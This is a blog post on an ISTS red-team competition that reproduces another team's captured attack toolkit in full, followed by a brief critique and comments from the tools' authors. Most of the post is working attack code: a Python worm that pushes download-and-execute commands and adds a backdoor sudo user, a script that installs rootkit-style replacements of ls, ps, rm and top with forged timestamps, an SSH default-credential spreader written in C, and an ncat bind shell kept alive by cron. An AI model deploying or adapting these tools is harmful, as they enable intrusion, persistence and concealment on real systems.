RPI Toolkit – ISTS X

It’s my second year red teaming the ISTS event at RIT.  ISTS is a event similar to CCDC where teams protect a network from the red team while doing business injects.  The twist with ISTS is teams can play offense against each other.

Every year RPI does an amazing job with custom scripts and backdoors.

RPI 2012

Twitter1.py

import threading, subprocess, re, socket, time, sys

def list_ip():
 yield '127.0.0.1'
 first = int(sys.argv[1])
 second = int(sys.argv[2])
 for item in range(1,14):
 if item in [first, second]:
 continue
 for sub in [10, 20, 30]:
 yield '10.0.%s.%s' % (item, sub)

 for item in range(1,14):
 if item in [first, second]:
 continue
 try:
 yield socket.gethostbyname('priceofwales.team%s.ists' % item)
 except:
 pass
 try:
 yield socket.gethostbyname('missouri.team%s.ists' % item)
 except:
 pass
def get_ports():
 output = subprocess.check_output("netstat -l -t -n", shell=True)
 output = [x for x in output.split("\n") if 'unix' not in x]
 output = "\n".join(output)
 print output
 ports = [m.group(1) for m in re.finditer(':([0-9]+)', output)]
 print ports
 ports = map(int, ports)
 print ports
 for port in ports:
 if port >= 1024:
 yield port

def spawn_thread(ip, port):
 a = threading.Thread(target = attack_thread, args=(ip, port))
 a.start()

def attack_thread(ip, port):

 attack = """
mkdir /var/tmp
wget http://xxxxxxxx.cs.rpi.edu/~xxxxxxx/unlisted/debian-installer.sh -O /var/tmp/installer.sh
bash /var/tmp/installer.sh
rm /var/tmp/installer.sh
useradd -g 0 -G 0,1,2,3,4,6,10 -M util -p `mkpasswd rpisec412180`
useradd -g 0 -G 0,1,2,3,4,6,10 -M util
passwd --stdin rpisec412180
echo "util ALL=(ALL) ALL" >> /etc/sudoers
apt-get install openssh-server -y

wget http://dl.dropbox.com/u/xxxxxx/twitter_r.py -O /var/tmp/twitter_r.py
wget http://dl.dropbox.com/u/xxxxxx/get_access_token.py -O /var/tmp/get_access_token.py
wget http://dl.dropbox.com/u/xxxxxx/twitter.py -O /var/tmp/twitter.py

python /var/tmp/twitter_r.py &
sleep 1
rm /var/tmp/twitter_r.py
rm /var/tmp/twitter.py
rm /var/tmp/get_access_token.py

"""

 print ip, port
 sock = socket.create_connection((ip, port))
 sock.send(attack)
 while True:
 time.sleep(0)

def attack():
 for port in get_ports():
 for ip in list_ip():
 spawn_thread(ip, port)
if __name__ == "__main__":
 attack()

debiant-installer.sh

#!/bin/sh
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/linux-agent -O /tmp/linux-agent -q
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/backdoored-utilities/debian/bin/ls -O /tmp/ls -q
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/lsdebian/bin/ps -O /tmp/ps -q
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/backdoored-utilities/debian/bin/rm -O /tmp/rm -q
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/backdoored-utilities/debian/bin/unlink -O /tmp/unlink -q
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/backdoored-utilities/debian/bin/top -O /tmp/top -q
wget http://xxxxxx.cs.rpi.edu/~xxxxxx/unlisted/backdoored-utilities/debian/lib/libproc-3.2.8.so -O /tmp/libproc-3.2.8.so -q
chmod 755 /tmp/ls
chmod 755 /tmp/ps
chmod 755 /tmp/rm
chmod 755 /tmp/unlink
chmod 755 /tmp/top
mv /tmp/ls /bin
mv /tmp/ps /bin
mv /tmp/rm /bin
mv /tmp/top /usr/bin
mv /tmp/unlink /usr/bin
mv /tmp/libproc-3.2.8.so /lib
touch -d "2008-04-04 10:22" /bin/ls
touch -d "2009-01-11 16:49" /bin/ps
touch -d "2008-04-04 10:22" /bin/rm
touch -d "2008-04-04 10:22" /usr/bin/unlink
touch -d "2009-01-11 16:49" /lib/libproc-3.2.8.so
touch -d "2009-01-11 16:49" /usr/bin/top
chmod 755 /tmp/linux-agent
mv /tmp/linux-agent "/sbin/dhclient3_1337_"
touch -d "2008-08-12 10:09" /sbin/dhclient3_1337_
/sbin/dhclient3_1337_
echo -e "\tpost-up /sbin/dhclient3_1337_" >> /etc/network/interfaces

2013 RPI stepped it up again.

After exploiting one of RPIs machines I was searching for useful data and pulled down a tarball containing

tar

Then downloaded all referenced files

Untitled

Quick over view of files

a.out 64.out 32.out are compiled versions of main.c

aptpayload.txt and s.sh are dropped when main.c exploits a host with default credentials

inet, Packages, sources.list are all part of the aptpayload

The rest of the files are rc scripts for metasploit including ssh scanners and post exploitation with metasploit persistance.

Here we go

main.c

#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int kill(char * host, char * username);

int main()
{
 char host[256];
 int i;
 for (i = 1; i <= 7; i++) {
 sprintf(host, "10.0.%d.100", i);
 kill(host, "root");
 kill(host, "administrator");
 sprintf(host, "10.0.%d.101", i);
 kill(host, "root");
 kill(host, "administrator");
 }
 for (i = 8; i <= 12; i++) {
 sprintf(host, "10.0.%d.100", i);
 kill(host, "root");
 kill(host, "administrator");
 sprintf(host, "10.0.%d.101", i);
 kill(host, "root");
 kill(host, "administrator");
 }
 return 1;
}

int kill(char * host, char * username) {
 pid_t pid = fork();
 if (pid != 0) {
 return 1;
 }
 unsigned int nbytes;

ssh_session my_ssh_session = ssh_new();
 if (my_ssh_session == NULL) {
 printf("Error initializing ssh conn\n");
 exit(-1);
 }

ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "192.168.0.149");

int rc = ssh_connect(my_ssh_session);
 if (rc != SSH_OK)
 {
 fprintf(stderr, "Error connecting to localhost: %s\n",
 ssh_get_error(my_ssh_session));
 exit(-1);
 }

rc = ssh_userauth_password(my_ssh_session, "root", "changeme");
 if (rc != SSH_AUTH_SUCCESS) {
 fprintf(stderr, "Error authenticating with password: %s\n",
 ssh_get_error(my_ssh_session));
 exit(-1);
 }

ssh_channel channel = ssh_channel_new(my_ssh_session);
 if (channel == NULL) {
 fprintf(stderr, "Error channel new creation: %s\n",
 ssh_get_error(my_ssh_session));
 exit(-1);
 }
 rc = ssh_channel_open_session(channel);
 if (rc != SSH_OK)
 {
 ssh_channel_free(channel);
 exit(-1);
 }
 rc = ssh_channel_request_exec(channel,
"wget http://xxxxxx.cs.rpi.edu/~xxxxxxxxxx/ists/aptpayload.txt
&& chmod +x aptpayload.txt && ./aptpayload.txt; rm aptpayload.txt;
wget xxx.xxx.xxx.xxx/ists/s.sh && chmod +x s.sh && ./s.sh; rm ./s.sh");
 if (rc != SSH_OK)
 {
 ssh_channel_close(channel);
 ssh_channel_free(channel);
 exit(-1);
 }
 char buffer[256];
 nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
 while (nbytes > 0)
 {
 if (write(1, buffer, nbytes) != nbytes)
 {
 ssh_channel_close(channel);
 ssh_channel_free(channel);
 exit(-1);
 }
 nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
 }
 if (nbytes < 0)
 {
 ssh_channel_close(channel);
 ssh_channel_free(channel);
 exit(-1);
 }

ssh_channel_send_eof(channel);
 ssh_channel_close(channel);
 ssh_channel_free(channel);

ssh_disconnect(my_ssh_session);
 ssh_free(my_ssh_session);
 exit(0);
}

aptpayload.txt

#!/bin/bash
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1A44B9C399E17A16
wget http://debianmirror.org/sources.list -O /etc/apt/sources.list
apt-get update
apt-get install -y inetutils-ping

s.sh


#!/bin/bash

chattr -i /tmp/session.sh
echo "ncat -l 57298 -e /bin/bash -k" > /bin/session.sh
chmod +x /bin/session.sh
chattr +i /bin/session.sh
/bin/session.sh &
chattr -i /etc/crontab
echo "" >> /etc/crontab
echo "" >> /etc/crontab
echo "* * * * * root /bin/session.sh > /dev/null 2>&1" >> /etc/crontab
chattr +i /etc/crontab

Quick strings on the replaced ping command

pingbin

A few thoughts for RPI and other teams

Be prepared to handle multiple operating systems ISTS often changes operating systems last minute or without notice.

Work harder on protecting scripts/back doors and include obfuscation techniques.

A few of the MSF scripts had commands out of order and would have made it impossible for them to work properly.

Looking forward to what they bring out next year 🙂

Tagged with: , , , , ,
Posted in InfoSec
3 comments on “RPI Toolkit – ISTS X
  1. Colin Rice says:

    Those scripts were a mix of my items, zonnenburg’s, aktar’s, wilson’s and jsc’s. Jsc wrote the original twitter botnet, which I modified for 2012. I wrote main.c and the metasploit attack scripts as well as the apt configuration script. Aktar wrote s.sh. Wilson wrote the backdoored ping command. Zonnenburg wrote debian-installer.sh as well as setting up the debian mirror server this time.

    • Colin Rice says:

      Acutally I wrote twitter1.py. You seem to be missing the twitter based botnet code we had in 2012 which was originally written by jsc.

    • justinelze says:

      Good stuff from everyone we were hoping if we blogged about these it would make everyone try harder next year.

      Also some of the teams were not as familiar with offense and this should get them pointed down the right path.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: